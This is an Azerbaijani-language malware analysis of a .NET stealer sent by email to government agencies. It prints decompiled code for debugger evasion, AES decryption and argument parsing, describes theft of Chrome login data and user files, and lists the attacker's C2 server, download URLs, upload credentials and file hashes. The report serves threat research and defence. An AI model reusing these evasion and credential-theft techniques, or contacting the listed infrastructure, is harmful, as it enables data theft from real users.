C# dilində proqramlaşdırılan zərərverici dövlət qurumları e-poçt xidməti üzərindən göndərilmişdi.
File name: mukafatlar.exe
Fill size: 815104 bytes
Versiya məlumatları xüsusi olaraq dövlət qurumları üçün hazırlandığını göstərir.
Nüsxəni virtual mühitdə işə saldığımız zaman diqqət çəkən hər hansı şübhəli əməliyyatlara rast gəlmədik. Zərərvericinin virtual mühit aşkarlama müxanizminin olduğunu istisna etmədiyimiz üçün bu dəfə sözü gedən proqramı daha görünməz (stealth) mühitdə işə saldıq. Bu səfər bəzi şübhəli şəbəkə aktivlikləri ilə rastlaşdıq. Burada maraqlı məqam nüsxənin internetdən sistemə endirdiyi JPEG uzantılı fayllar əslində icra edilə bilən fayllar idi.
Bunlardan əlavə olaraq zərərvericinin sistemdən bəzi məlumatları qarşı tərəfə yüklədiyinədə şahid olduq.
mukafatlar.exe
Analiz etdiyimiz ilk nüsxə olduqca güclü şəkildə mühafizə edilirdi.
Zərərvericinin “Eziriz .NET Reactor” ilə mühafizə edildiyini aşkar etdik və bir neçə uğursuz əməliyyatdan sonra deobfuskasiya etməyi bacardıq. Proqram ilk olaraq bir neçə buferə (byte[]) naməlumat məlumatlar yazır və virtual mühitdə işə salınıb-salınmadığı yoxlamaq üçün bir neçə əməliyyat icra edir.
Debugger aşkar edilməsi:
private static void smethod_4()
{
try
{
if (Debugger.IsAttached)
{
Environment.Exit(0);
}
}
catch
{
Environment.Exit(0);
}
}
Sistemdə fəaliyyət göstərən proses adları və əməli yaddaş ölçüsü üzərindən virtual maşınların aşkarlanması:
Yoxlama əməliyyatlarından sonra “method_0” çağrılır.
private string method_1(string string_6, byte[] byte_7)
{
byte[] array = new byte[32];
byte[] array2 = new byte[16];
byte[] array3 = Convert.FromBase64String(string_6);
for (int i = 0; i < 32; i++)
{
array[i] = array3[i];
}
for (int j = 0; j < 16; j++)
{
array2[j] = array3[j + 32];
}
Aes aes = Aes.Create();
aes.KeySize = 256;
aes.Key = array;
aes.IV = array2;
aes.Mode = CipherMode.ECB;
aes.Padding = PaddingMode.ISO10126;
MemoryStream memoryStream = new MemoryStream();
new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write).Write(byte_7, 0, byte_7.Length);
memoryStream.Close();
return Encoding.Unicode.GetString(byte_7);
}
Proqram “method_0” -a proqram ilk işə düşdüyü zaman qeyd etdiyimiz naməlum buferləri göndərir.
“smethod_0” içərisində buferlərdə olan məlumatları deşifrə edirmiş kimi görünsədə əslində bu analiz prosesini uzatmaq üçün istifadə edilən metoddur və buferlərdə olan məlumatlar açıq şəkildə saxlanılırdı. Kiçik bir python skripti ilə məlumatları əldə etdik.
Bundan sonra “method_4” çağrılır və parametr olaraq “this.string_5” (http[s]://45.153.242.104/token.php) dəyişənini göndərir.
Sözü gedən metod içərisində zərərverici ilk olaraq adresdən “GET” request ilə token (base64 ilə kodlaşdırılmış) qəbul edir.
Token = “rL2M0PyjZmyOe4xAD01un3NmZmxvcnVsY2JkcTE1Yxg=”
Əldə edilən məlumat yoxlama üçün “method_3” -ə göndərilir. Burada base64 ilə deşifrə edildikdən sonra əldə edilən 32 baytlıq məlumatın 2-ci 16 baytlıq qismi (şəkildə 2 ilə göstərilən) ilə “03012020” mətninin bayt qarşılığı ilə birləşdirir və bunun md5 xeş dəyəri alınır. Alınan dəyər ilə token-in 1-ci qismi qarşılaşdırılır. Nəticə bərabər deyilsə proqram digər əməliyyatları icra etmədən fəaliyyərinin sonlandırır.
Növbəti əməliyyat olaraq diqqət çəkməmək üçün resurs bölməsində saxladığı sənədi ixrac edir və işə salır.
internal static byte[] smethod_0()
{
return (byte[])Resources.IohJcpVwP.GetObject("open_office", Resources.cultureInfo_0);
}
private static void smethod_0()
{
string text = Path.GetTempPath() + new Random().Next().ToString() + ".doc";
byte[] bytes = Resources.smethod_0();
File.WriteAllBytes(text, bytes);
Process.Start(text);
}
Yoxlama prosesini tamamladıqdan sonra zərərverici sistemdən məlumatların oğurlanması prosesinə başlayır. İlk olaraq “Desktop, Downloads, Pictures, Outlook” qovluqlarında mövcud olan faylları (exe, dll, iso istisna) qarşı tərəfə yükləyir (smethod_8).
Identifikasiya üçün istifadəçi:QA
Şifrə: QS-13.02.1979
Bunlardan əlavə olaraq sistemdə aktiv disklərin siyahısını götürub c diski istisna olmaqla digər disklərdə olan məlumatlarıda oğurlayır.
Son olaraq zərərverici internetdən yeni faydalı yükü sistemə endirir. Faydalı yükün görəcəyi növbəti əməliyyatlar üçün gərəkli olan arqumentləri şifrələyir (Advanced Encryption Standard) və faydalı yükü işə salır.
Yaradılan prosesə göndərilən arqumentlər:
- string_6: Environment.UserName + new Random().Next().ToString() + "/" + "chrome"
- this.string_4: http[x]://45.153.242.104/index.php?path=
- this.string_2: http[x]://45.153.242.104/abcqqq/image2.jpg
- this.string_1: QS
- this.string_3: QS-1979.02.13
- this.string_5: http[x]://45.153.242.104/token.php
QS861844537.exe
Sistemə endirilən 2-ci nüsxə mukafatlar.exe ilə oxşar əməliyyatları icra edir. Debug edilib-edilmədiyini sonra virtual mühitdə olub-olmadığını yoxlayır. Parent prosesdən gələn arqumentləri deşifrə edərək lazım olan dəyişənləri təyin edir.
string[] commandLineArgs = Environment.GetCommandLineArgs();
if (commandLineArgs.Length == 2)
{
string text = commandLineArgs[1];
text = this.method_5(text);
int num = text.IndexOf("***");
this.string_0 = text.Substring(0, num);
string text2 = text.Substring(num + 3);
num = text2.IndexOf("***");
this.string_1 = text2.Substring(0, num);
text2 = text2.Substring(num + 3);
num = text2.IndexOf("***");
this.string_2 = text2.Substring(0, num);
text2 = text2.Substring(num + 3);
num = text2.IndexOf("***");
this.string_3 = text2.Substring(0, num);
text2 = text2.Substring(num + 3);
num = text2.IndexOf("***");
this.string_4 = text2.Substring(0, num);
text2 = text2.Substring(num + 3);
num = text2.IndexOf("***");
this.string_5 = text2.Substring(0, num);
this.string_6 = text2.Substring(num + 3);
Daha sonra bir öncəki nüsxədə olduğu kimi http[x]://45.153.242.104/token.php üzərindən əldə etdiyi token-i yoxlayır və mukafat.exe -ni sistemdən silir.
Zərərverici növbəti nüsxəni (http[x]://45.153.242.104/abcqqq/image2.jpg) sistemə endirməzdən əvvəl son olaraq sistemdə “Google Chrome” web bələdçisinin sistemdə saxladığı istifadəçi giriş məlumatlarını oğurlayır. Ilk olaraq giriş məlumatlarının şifrələnməsi zamanı istifadə edilən açarı
string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Local State"
əldə edir və sözü gedən məlumatı "CryptUnprotectData" funksiyası ilə deşifrə edir.
Əldə edilən şifrəni base64 ilə kodlaşdırıb "Temp" qovluğu içərisində yaratdığı "yek.txt" faylına yazır və qarşı tərəfə "smethod_6" ilə yükləyir.
2-ci əməliyyat olaraq giriş məlumatlarının saxlanıldığı faylı (“\Google\\Chrome\\User Data\\Default\\Login Data") oxuyur və “Temp” qovluğunda “yek2.txt” faylına yazır, qarşı tərəfə yükləyir və faylı sistemdən silir.
Bundan sonra yeni nüsxəni (QS311758409.exe) sistemə endirir və işə salır. Arqument olaraq isə özünün işə salındığı cari qovluğu şifrələyərək göndərir.
Yeni yaradılan proses sistemdə saxlanılan bir öncəki nüsxəni (QS861844537.exe ) sistemdən silir və işini sonlandırır. Bu əməliyyat üçün bir öncəki nüsxə kimi ilk olaraq özünə gələn arqumenti (parent prosesin fayl yolunu) qəbul edir və sözü gedən nüsxəni sistemdən silir.
Indicators of Compromise
A5BD714F1CF2A500915B9FCC2FC9336E4AB8A41B51B35E1F60477E53A05B4764
492D6E46A4140593D3683233AC8E2A7F5EF8B7FDCC6C1C9B829A312EB6279363
46251956C5B2E938331F73DF4A6834FE5AB36FDD3FA8544C73FBA81297F1EB3C
http[x]://45.153.242.104/defuj/image.jpg
http[x]://45.153.242.104/abcqqq/image2.jpg